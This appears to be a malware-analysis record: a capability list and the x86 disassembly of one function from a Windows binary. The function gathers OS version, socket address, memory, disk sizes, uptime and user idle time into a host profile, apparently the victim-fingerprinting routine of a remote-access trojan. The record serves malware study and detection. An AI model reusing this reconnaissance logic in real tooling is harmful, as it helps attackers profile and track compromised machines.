Function at 0x419730
Capabilities:
Check for time delay via gettickcount
Contain obfuscated stackstrings
Get disk information
Get disk size
Get local ipv4 addresses
Get memory capacity
Get socket information
Get system information on windows

Disassembly:
sub esp, 0x798
push edi
mov ecx, 0xef
xor eax, eax
lea edi, [esp + 0xb4]
rep stosd dword es:[edi], eax
mov byte [esp + 0x264], al
lea eax, [esp + 0xb8]
push eax
mov byte [esp + 0xb8], 0x66
mov dword [esp + 0xbc], 0x9c
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
lea ecx, [esp + 0xc4]
lea edx, [esp + 0xc0]
push ecx
lea eax, [esp + 0xc0]
push edx
push eax
call fcn.00418ee0
lea ecx, [esp + 0x5a8]
push 0x100
push ecx
call fcn.00418d20
xor edx, edx
add esp, 0x14
mov dword [esp + 0x20], edx
lea eax, [esp + 0x1c]
mov dword [esp + 0x24], edx
push eax
mov dword [esp + 0x2c], edx
lea ecx, [esp + 0x24]
mov dword [esp + 0x30], edx
mov edx, dword [esp + 0x7a8]
push ecx
mov dword [esp + 0x24], 0x10
mov eax, dword [edx + 0xa8]
push eax
call dword [sym.imp.WS2_32.dll_getsockname]
mov eax, dword [0x50e2e0]
test eax, eax
je 0x4197f2
lea ecx, [esp + 0x15c]
push ecx
call fcn.00418f30
add esp, 4
mov ecx, dword [0x51e6fc]
push ebx
push ebp
push esi
lea edx, [esp + 0x30]
push 4
lea eax, [esp + 0x170]
push edx
push eax
call fcn.0040f4e0
lea ecx, [esp + 0x5a8]
push 0x100
lea edx, [esp + 0x174]
push ecx
mov ecx, dword [0x51e6fc]
push edx
call fcn.0040f4e0
call fcn.00418760
mov dword [esp + 0x160], eax
lea eax, [esp + 0x9c]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov ecx, dword [esp + 0xb0]
lea edx, [esp + 0x5c]
push edx
mov dword [esp + 0x168], ecx
mov dword [esp + 0x60], 0x40
call dword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
mov eax, dword [esp + 0x64]
mov edx, dword [esp + 0x68]
mov ecx, 0x14
call fcn.0042d8f0
mov edi, dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
mov ebp, dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExA]
xor esi, esi
mov dword [esp + 0x27c], eax
xor ebx, ebx
mov al, bl
lea ecx, [esp + 0x1c]
add al, 0x42
push ecx
mov byte [esp + 0x20], al
mov byte [esp + 0x21], 0x3a
mov byte [esp + 0x22], 0x5c
mov byte [esp + 0x23], 0
call edi
cmp eax, 3
jne 0x4198e0
lea edx, [esp + 0x54]
lea eax, [esp + 0x44]
push edx
lea ecx, [esp + 0x50]
push eax
lea edx, [esp + 0x24]
push ecx
push edx
call ebp
mov eax, dword [esp + 0x44]
mov edx, dword [esp + 0x48]
mov ecx, 0x14
call fcn.0042d8f0
add esi, eax
inc ebx
cmp ebx, 0x1a
jl 0x419893
mov dword [esp + 0x280], esi
call fcn.00418a30
mov byte [esp + 0x270], al
mov eax, dword [esp + 0x7b4]
mov dword [esp + 0x274], eax
call fcn.00418b00
lea ecx, [esp + 0x32c]
push 0x32
push ecx
push str.Sainbox
mov dword [esp + 0x284], eax
call fcn.00418e60
add esp, 0xc
call fcn.00418a50
mov dword [esp + 0x328], eax
call fcn.00418bb0
mov edi, eax
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x2f6]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov ebp, dword [sym.imp.KERNEL32.dll_GetTickCount]
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov byte [esp + 0x10], 0x25
mov byte [esp + 0x11], 0x64
mov byte [esp + 0x12], 0
call ebp
mov edi, eax
mov eax, 0x31b5d43b
mul edi
mov esi, dword [sym.imp.USER32.dll_wsprintfA]
lea ecx, [esp + 0x10]
shr edx, 0x18
push edx
lea edx, [esp + 0x480]
push ecx
push edx
call esi
mov eax, edi
xor edx, edx
mov ecx, 0x5265c00
div ecx
mov eax, 0x95217cb1
mov edi, edx
mul edi
shr edx, 0x15
push edx
lea edx, [esp + 0x20]
lea eax, [esp + 0x4f0]
push edx
push eax
call esi
mov eax, edi
xor edx, edx
mov ecx, 0x36ee80
div ecx
mov eax, 0x45e7b273
mul edx
shr edx, 0xe
push edx
lea edx, [esp + 0x2c]
lea eax, [esp + 0x560]
push edx
push eax
call esi
lea ecx, [esp + 0x568]
lea edx, [esp + 0x504]
push ecx
lea eax, [esp + 0x4a4]
push edx
push eax
push 0x50ec5c
lea ecx, [esp + 0x2ea]
push ecx
call esi
mov edx, dword [esp + 0x7f0]
push edx
call fcn.00418710
mov edi, dword [sym.imp.KERNEL32.dll_lstrcpyA]
add esp, 0x3c
mov esi, eax
lea eax, [esp + 0x2d6]
push esi
push eax
call edi
push esi
call fcn.0042ce1e
lea ecx, [esp + 0x6ac]
xor bl, bl
push 0x100
push ecx
mov byte [esp + 0x20], 0x44
mov byte [esp + 0x21], 0x65
mov byte [esp + 0x22], 0x66
mov byte [esp + 0x23], 0x61
mov byte [esp + 0x24], 0x75
mov byte [esp + 0x25], 0x6c
mov byte [esp + 0x26], 0x74
mov byte [esp + 0x27], bl
call fcn.00418dd0
add esp, 0xc
test eax, eax
jne 0x419a96
mov edx, str.6gkIBfkSqY
test edx, edx
je 0x419a90
push edx
call fcn.00418710
add esp, 4
mov esi, eax
mov bl, 1
jmp 0x419a9d
lea esi, [esp + 0x14]
jmp 0x419a9d
lea esi, [esp + 0x6a8]
lea eax, [esp + 0x284]
push esi
push eax
call edi
test bl, bl
je 0x419ab5
push esi
call fcn.0042ce1e
add esp, 4
call fcn.00419560
lea ecx, [esp + 0x35e]
push eax
push ecx
call edi
lea edx, [esp + 0x3c]
mov dword [esp + 0x460], 0
push edx
mov dword [esp + 0x40], 8
call dword [sym.imp.USER32.dll_GetLastInputInfo]
call ebp
mov edx, dword [esp + 0x40]
pop esi
sub eax, edx
pop ebp
cmp eax, 0x2bf20
pop ebx
jbe 0x419b00
mov dword [esp + 0x454], 1
call fcn.00419480
push eax
lea eax, [esp + 0x45c]
push eax
call edi
lea ecx, [esp + 0xb4]
push 0x3bc
push ecx
mov ecx, dword [esp + 0x7ac]
call fcn.00404950
pop edi
add esp, 0x798
ret